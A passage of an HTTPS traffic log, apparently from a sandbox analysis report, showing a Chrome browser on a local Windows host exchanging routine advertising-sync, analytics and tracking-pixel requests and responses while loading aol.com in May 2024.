2024-05-23 22:35:19 UTC	66	IN	Data Raw: 20 5b 7b 22 65 72 72 6f 72 5f 63 6f 64 65 22 3a 22 22 2c 20 22 65 72 72 6f 72 5f 73 75 62 63 6f 64 65 22 3a 22 22 2c 20 22 6d 65 73 73 61 67 65 22 3a 22 41 75 74 68 6f 72 69 7a 65 64 22 20 7d 5d 20 Data Ascii: [{"error_code":"", "error_subcode":"", "message":"Authorized" }]

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
822	192.168.2.6	50695	35.244.174.68	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	626	OUT	GET /464246.gif?partner_uid=7a88352c-6a88-4821-be57-275c43fa368e HTTP/1.1 Host: id.rlcdn.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:20 UTC	729	IN	HTTP/1.1 307 Temporary Redirect Cache-Control: no-cache, no-store Location: https://id.rlcdn.com/1000.gif?memo=CPaqHBIvCisIARCUaxokN2E4ODM1MmMtNmE4OC00ODIxLWJlNTctMjc1YzQzZmEzNjhlEAAaDQioib-yBhIFCOgHEABCAEoA P3p: CP="NOI DSP COR NID CURa ADMa DEVa PSAa PSDa OUR BUS COM INT OTC PUR STA" Set-Cookie: rlas3=uyVATLRlLPGA4wzQkViJUg7W+g5V4d5anCipKydYrXg=; Path=/; Domain=rlcdn.com; Expires=Fri, 23 May 2025 22:35:20 GMT; Secure; SameSite=None Set-Cookie: pxrc=CAA=; Path=/; Domain=rlcdn.com; Expires=Mon, 22 Jul 2024 22:35:20 GMT; Secure; SameSite=None Timing-Allow-Origin: * Date: Thu, 23 May 2024 22:35:20 GMT Content-Length: 0 Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
823	192.168.2.6	50705	34.36.216.150	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	747	OUT	GET /dmp/pixelSync?nid=83&gdpr=0&gdpr_consent= HTTP/1.1 Host: pixel-sync.sitescout.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668; _ssuma=eyI0NSI6MTcxNjUwMzcwNjg1NywiMTciOjE3MTY1MDM3MTY3Mjh9
2024-05-23 22:35:20 UTC	1231	IN	HTTP/1.1 302 Found cache-control: max-age=0,no-cache,no-store pragma: no-cache expires: Tue, 11 Oct 1977 12:34:56 GMT p3p: CP="NON DEVa PSAa PSDa OUR NOR NAV",policyref="/w3c/p3p.xml" set-cookie: ssi=12d5e394-d925-4890-aef8-b87a788fd063#1716503705668; Domain=.sitescout.com; Expires=Fri, 23-May-2025 22:35:20 GMT; Path=/; Secure; SameSite=None set-cookie: _ssuma=eyI0NSI6MTcxNjUwMzcwNjg1NywiMjYiOjE3MTY1MDM3MjAwNzUsIjE3IjoxNzE2NTAzNzE2NzI4LCIzOSI6MTcxNjUwMzcyMDA3NSwiNyI6MTcxNjUwMzcyMDA3NX0; Domain=.sitescout.com; Expires=Sat, 22-Jun-2024 22:35:20 GMT; Path=/; Secure; SameSite=None location: https://sync.crwdcntrl.net/qmap?c=1389&tp=STSC&tpid=12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553&gdpr=0&gdpr_consent=&d=https%3A%2F%2Fpixel.tapad.com%2Fidsync%2Fex%2Fpush%3Fpartner_id%3D2499%26partner_device_id%3D12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553%26partner_url%3Dhttps%253A%252F%252Feb2.3lift.com%252Fxuid%253Fmid%253D3646%2526xuid%253D12d5e394-d925-4890-aef8-b87a788fd063-664fc499-5553%2526dongle%253D1fa5%2526gdpr%253D0%2526gdpr_consent%253D Content-Length: 0 date: Thu, 23 May 2024 22:35:19 GMT server: A via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
824	192.168.2.6	50704	172.64.151.101	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	968	OUT	GET /usermatchredir?cb=https%3A%2F%2Fpbs.yahoo.com%2Fsetuid%3Fbidder%3Dix%26gdpr%3D0%26gdpr_consent%3D%26gpp%3DDBAA%26gpp_sid%3D-1%26f%3Db%26uid%3D&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&s=208386&C=1 HTTP/1.1 Host: ssum-sec.casalemedia.com Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: receive-cookie-deprecation=1; CMID=Zk-Ep0t3uYgAAFn1AP-2wgAA; CMPS=464; CMPRO=464
2024-05-23 22:35:20 UTC	1094	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:20 GMT Content-Length: 0 Connection: close Location: https://pbs.yahoo.com/setuid?bidder=ix&gdpr=0&gdpr_consent=&gpp=DBAA&gpp_sid=-1&f=b&uid=Zk_Ep0t3uYgAAFn1AP_2wgAAAdAAAAAB CF-Ray: 888884ba9c4f8c4b-EWR CF-Cache-Status: DYNAMIC Cache-Control: no-cache Expires: 0 Set-Cookie: CMID=Zk-Ep0t3uYgAAFn1AP-2wgAA; Path=/; Domain=casalemedia.com; Expires=Fri, 23 May 2025 22:35:20 GMT; Max-Age=31536000; Secure; SameSite=None P3p: policyref="/w3c/p3p.xml", CP="NOI DSP COR DEVa TAIa OUR BUS UNI" Pragma: no-cache Set-Cookie: CMPRO=464; Path=/; Domain=casalemedia.com; Expires=Wed, 21 Aug 2024 22:35:20 GMT; Max-Age=7776000; Secure; SameSite=None Report-To: {"endpoints":[{"url":"https:\/\/a.nel.cloudflare.com\/report\/v4?s=I0yxajeBuviBRHNHARbDZHIPbz9JfX8wb5a%2FXv%2FLmAVvkAs7A2rdjwUzpHuL4rgBMrYNZG9zE0wnG0PDmiGelCbQWkv674Vpl5AzHT0scj2VUrvA7dawUWyB3%2BE6Siz%2FWtb4TDPqj3FSig%3D%3D"}],"group":"cf-nel","max_age":604800} NEL: {"success_fraction":0.01,"report_to":"cf-nel","max_age":604800} Server: cloudflare alt-svc: h3=":443"; ma=86400

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
825	192.168.2.6	50707	35.244.232.184	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:19 UTC	1102	OUT	GET /v2/tracker?domain=videocloud&platform=video-js&session=ae6004ed28cb4850ed7f9cd6&account=6415665815001&destination=https%3A%2F%2Fwww.aol.com%2F&platform_version=7.17.2&player=players.brightcove.com%2F6415665815001%2FLJKY1s7eB_default&player_name=EVPlayer%3A1.6&autoplay=false&ads_enabled=false&delivery_type=ondemand&media_type=video&event=catalog_request&url=https%3A%2F%2Fedge-auth.api.brightcove.com%2Fplayback%2Fv1%2Faccounts%2F6415665815001%2Fvideos%2F6353511962112&time=1716503718533&seq=10 HTTP/1.1 Host: metrics.brightcove.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://s.yimg.com/rx/ev/builds/1.6.29/pframe.html Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9
2024-05-23 22:35:20 UTC	463	IN	HTTP/1.1 200 OK content-length: 35 content-type: image/gif cache-control: must-revalidate,no-cache,no-store Strict-Transport-Security: max-age=300; includeSubDomains Access-Control-Allow-Origin: * Access-Control-Allow-Headers: Origin, X-Requested-With, Content-Type, Accept, Authorization Access-Control-Allow-Methods: GET Date: Thu, 23 May 2024 22:35:20 GMT Via: 1.1 google Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000 Connection: close
2024-05-23 22:35:20 UTC	35	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
826	192.168.2.6	50686	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	1837	OUT	POST /p?s=1197805788&t=fkDZu4VPiyd6hiNw,0.21945460559500063&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03hide%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstop%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03400%04_E%03dwell%04_ts%031716503712%04_ms%03435%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:20 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:20 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:20 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
827	192.168.2.6	50687	188.125.72.139	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	1838	OUT	POST /p?s=1197805788&t=E7lUellp78ao0jCY,0.41365811802872265&_I=&_AO=0&_NOL=0&_R=https%3A%2F%2Fwww.aol.com%2F&_P=3.56.0%05_a1s%03d%3DAQABBHbET2YCEMz403WQKcYNiIwvrAup1iMFEgEBAQEVUWZZZtwr0iMA_eMAAA%26S%3DAQAAAlZERX4fw-TDfZvF5VfUwFg%04_pl%031%04A_v%033.56.0%04A_cn%03ANALYTICS-EVERGREEN-PROD%04_bt%03rapid%04A_pr%03https%04A_tzoff%03-4%04A_sid%03tz1MVjy1Xl4yWBPq%04_w%03membernotifications.aol.com%2Foffers%2FaolHomepage%2FstickyFooter%3Fncid%3Dmbr_rusacqdsp00000691%04st_sec%03us.dispatcher%04pt%03utility%04ver%03lca%04expn%03interstitial%04navtype%03client%04ncid%03mbr_rusacqdsp00000691%04etrg%03show%04outcm%03window%04usergenf%031%04etag%03dwell%2Cstart%04A_jse%03document.visibilitychange%04A_prets%031716503712%04A_prems%03435%04_E%03dwell%04_ts%031716503712%04_ms%03440%04A_sr%031280x1024%04A_vr%031280x984%04A_do%031%04A_ib%031263x102%04A_ob%031280x984%04A_srr%031 HTTP/1.1 Host: 3p-geo.yahoo.com Connection: keep-alive Content-Length: 0 sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: / Origin: https://membernotifications.aol.com Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: empty Referer: https://membernotifications.aol.com/offers/aolHomepage/stickyFooter Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; tbla_id=e0f330c0-9211-4554-a7eb-a08a7a35420f-tuctd494a14; axids=gam=y-QM7g1aNE2uJx8P1wgixkZr9U8llKQOEG~A&dv360=eS1DRVBhdFY1RTJ1SExXeFFKWHJsbzM0eHJ5amtROU9CNH5B&ydsp=y-Q1anlJpE2uLNXvog9cXvHne26mx9Lj2d~A&tbla=y-hQJOddZE2uJ.k4E_AdFKaRd4VpIL_y_h~A
2024-05-23 22:35:20 UTC	731	IN	HTTP/1.1 200 OK date: Thu, 23 May 2024 22:35:20 GMT p3p: policyref="https://policies.yahoo.com/w3c/p3p.xml", CP="CAO DSP COR CUR ADM DEV TAI PSA PSD IVAi IVDi CONi TELo OTPi OUR DELi SAMi OTRi UNRi PUBi IND PHY ONL UNI PUR FIN COM NAV INT DEM CNT STA POL HEA PRE LOC GOV" cache-control: no-cache, no-store, private pragma: no-cache content-length: 43 content-type: image/gif x-envoy-upstream-service-time: 1 server: ATS Age: 0 Connection: close Strict-Transport-Security: max-age=31536000 Set-Cookie: A3=d=AQABBIXET2YCEHBMiuYtW7eHuIKM-u2ouTQFEgEBAQEWUWZZZtxH0iMA_eMAAA&S=AQAAApryFK_ohCDTd4CRDpuyvG8; Expires=Sat, 24 May 2025 04:35:20 GMT; Max-Age=31557600; Domain=.yahoo.com; Path=/; SameSite=None; Secure; HttpOnly
2024-05-23 22:35:20 UTC	43	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 80 00 00 ff ff ff 00 00 00 21 f9 04 01 00 00 00 00 2c 00 00 00 00 01 00 01 00 00 02 02 44 01 00 3b Data Ascii: GIF89a!,D;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
828	192.168.2.6	50702	13.248.245.213	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	764	OUT	GET /xuid?mid=2711&xuid=1f5a2429-5a10-4b50-95d0-3435c16ad1ac&dongle=013b&gdpr=0&gdpr_consent=&us_privacy=1YNN&gpp=${GPP_STRING_28} HTTP/1.1 Host: eb2.3lift.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://eb2.3lift.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: tluidp=3476490108663385185440; tluid=3476490108663385185440
2024-05-23 22:35:20 UTC	612	IN	HTTP/1.1 200 OK Date: Thu, 23 May 2024 22:35:20 GMT Content-Type: image/gif Content-Length: 37 Connection: close Cache-Control: no-cache, no-store, must-revalidate Set-Cookie: tluidp=3476490108663385185440; Path=/; Domain=.3lift.com; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:20 GMT; Secure; SameSite=None; Partitioned; P3P: policyref="http://cdn.3lift.com/w3c/p3p.xml", CP="NON DSP COR NID OUR DEL SAM OTR UNR COM NAV INT DEM CNT STA PRE LOC OTC" set-cookie: tluid=3476490108663385185440; Max-Age=7776000; Expires=Wed, 21 Aug 2024 22:35:20 GMT; Path=/; Domain=.3lift.com; Secure; SameSite=None
2024-05-23 22:35:20 UTC	37	IN	Data Raw: 47 49 46 38 39 61 01 00 01 00 00 00 00 21 f9 04 01 0a 00 01 00 2c 00 00 00 00 01 00 01 00 00 02 02 4c 01 00 3b Data Ascii: GIF89a!,L;

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
829	192.168.2.6	50693	185.89.210.153	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	1078	OUT	GET /getuid?https://us-u.openx.net/w/1.0/sd?id=537072399&val=$UID HTTP/1.1 Host: ib.adnxs.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://u.openx.net/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: XANDR_PANID=l9feJkDQllA9othKr8ID1vtALy-eG1am64URWo-Hh-HIRPRtJa12ojMlnucbuX1rmNMYn4_yirbzWHGXYPJIXmCPnOsC-rBVbIigEVijp24.; receive-cookie-deprecation=1; uuid2=9165965397510453586; anj=dTM7k!M40DF7/.XF']wIg2GU$idD1q!]tbW8bhzs#DNB)PYwUrZegYA'NVRTJqeK^1%ykaE8HvwP?JgqF1`b^]^(Ut+9; uids=eyJ0ZW1wVUlEcyI6eyJydWJpY29uIjp7InVpZCI6IkxXSlRaQUJOLVgtSzRQVyIsImV4cGlyZXMiOiIyMDI0LTA4LTIxVDIyOjM1OjE4WiJ9fSwiYmlydGhkYXkiOiIyMDI0LTA1LTIzVDIyOjM1OjA5WiJ9

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
830	192.168.2.6	50691	77.243.51.122	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	677	OUT	GET /oath/1/info?sType=sync&_sdv&sExtCookieId=y-V.uZugpE2oNwTIZJdlmAb8uo6mqraP2Jaf4-~A&sInitiator=external HTTP/1.1 Host: uipglob.semasio.net Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/*;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: SEUNCY=7DCBA62B2341F4EF

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
831	192.168.2.6	50684	18.239.83.58	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	2744	OUT	GET /p?c1=19&c2=27061346&ca2=null&ns_ap_an=unknown&ns_ap_pn=js&ns_ap_pv=5&c12=_&name=foreground&ns_ap_ec=4&ns_ap_ev=hidden&ns_ap_device=Win32&ns_ap_id=1716503711984&ns_ap_bi=unknown&ns_ap_pfm=webbrowser&ns_ap_pfv=Chrome%20117.0.0.0&ns_ap_ver=unknown&ns_ap_sv=7.8.0%2B2310050509&ns_ap_bv=7.8.0%2B2310050509&ns_ap_smv=6.4&ns_type=hidden&ns_ts=1716503717160&ns_ap_env=0-0-2&cs_fpid=null&cs_fpit=null&cs_fpdm=null&cs_fpdt=null&ns_st_sv=7.8.0%2B2310050509&ns_st_smv=6.4&ns_st_it=c&ns_st_id=40ff1bab4a8b486aa330c4b5815ee2bd&ns_st_ec=2&ns_st_cn=1&ns_st_ev=pause&ns_st_sp=1&ns_st_sc=1&ns_st_ppc=1&ns_st_apc=1&ns_st_spc=1&ns_st_dppc=0&ns_st_dapc=0&ns_st_dspc=0&ns_st_psq=1&ns_st_asq=1&ns_st_sq=1&ns_st_po=26&ns_st_lda=0&ns_st_ldw=0&ns_st_ldo=0&ns_st_hd=-1&ns_st_mp=Yahoo%20Video%20Player&ns_st_mv=1.6.29&ns_st_cl=68000&ns_st_pn=1&ns_st_tp=0&ns_st_ct=vc11&ns_st_li=0&ns_st_ty=video&ns_st_ci=42b897a6-9771-3329-b351-69a701a77438&ns_ap_ar=unknown&ns_ap_cs=1&ns_radio=unknown&ns_st_pt=26&ns_st_ipt=26&ns_st_iap=26&ns_st_iet=26&ns_st [TRUNCATED] Host: sb.scorecardresearch.com Connection: keep-alive sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 sec-ch-ua-platform: "Windows" Accept: image/avif,image/webp,image/apng,image/svg+xml,image/,/;q=0.8 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: no-cors Sec-Fetch-Dest: image Referer: https://www.aol.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: UID=100458df32184cbdda853d11716503699; PID=172458df32337cbdda8521e1716503699; XID=100458df32184cbdda853d11716503699

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
832	192.168.2.6	50709	15.197.193.217	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
2024-05-23 22:35:20 UTC	917	OUT	GET /track/cmf/generic?ttd_pid=adconductor&ttd_tpi=1&rndcb=211202606 HTTP/1.1 Host: match.adsrvr.org Connection: keep-alive Upgrade-Insecure-Requests: 1 User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/117.0.0.0 Safari/537.36 Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,/;q=0.8,application/signed-exchange;v=b3;q=0.7 Sec-Fetch-Site: cross-site Sec-Fetch-Mode: navigate Sec-Fetch-Dest: iframe sec-ch-ua: "Google Chrome";v="117", "Not;A=Brand";v="8", "Chromium";v="117" sec-ch-ua-mobile: ?0 sec-ch-ua-platform: "Windows" Referer: https://ads.pubmatic.com/ Accept-Encoding: gzip, deflate, br Accept-Language: en-US,en;q=0.9 Cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgASgCMgsI3ruyr-vg_TwQBTgBWgthZGNvbmR1Y3RvcmAC
2024-05-23 22:35:20 UTC	574	IN	HTTP/1.1 302 Found Date: Thu, 23 May 2024 22:35:20 GMT Content-Length: 181 Connection: close server: Kestrel location: https://sync.1rx.io/usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe set-cookie: TDID=8369ae03-bf51-422b-a15c-33306b0e1dfe; expires=Fri, 23 May 2025 22:35:20 GMT; domain=.adsrvr.org; path=/; secure; samesite=none set-cookie: TDCPM=CAESFwoIcHVibWF0aWMSCwjeipPY0-D9PBAFEhYKB3J1Ymljb24SCwia7rnl0-D9PBAFGAEgASgCMgsIzMvFvOvg_TwQBTgBWgthZGNvbmR1Y3RvcmAC; expires=Fri, 23 May 2025 22:35:20 GMT; domain=.adsrvr.org; path=/; secure; samesite=none
2024-05-23 22:35:20 UTC	181	IN	Data Raw: 52 65 64 69 72 65 63 74 69 6e 67 20 74 6f 3a 20 3c 61 20 68 72 65 66 3d 22 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 2f 74 72 61 64 65 64 65 73 6b 2f 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 22 3e 68 74 74 70 73 3a 2f 2f 73 79 6e 63 2e 31 72 78 2e 69 6f 2f 75 73 65 72 73 79 6e 63 2f 74 72 61 64 65 64 65 73 6b 2f 38 33 36 39 61 65 30 33 2d 62 66 35 31 2d 34 32 32 62 2d 61 31 35 63 2d 33 33 33 30 36 62 30 65 31 64 66 65 3c 2f 61 3e Data Ascii: Redirecting to: <a href="https://sync.1rx.io/usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe">https://sync.1rx.io/usersync/tradedesk/8369ae03-bf51-422b-a15c-33306b0e1dfe</a>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
833	192.168.2.6	50696	198.47.127.205	443	6028	C:\Program Files\Google\Chrome\Application\chrome.exe

Timestamp	Bytes transferred	Direction	Data
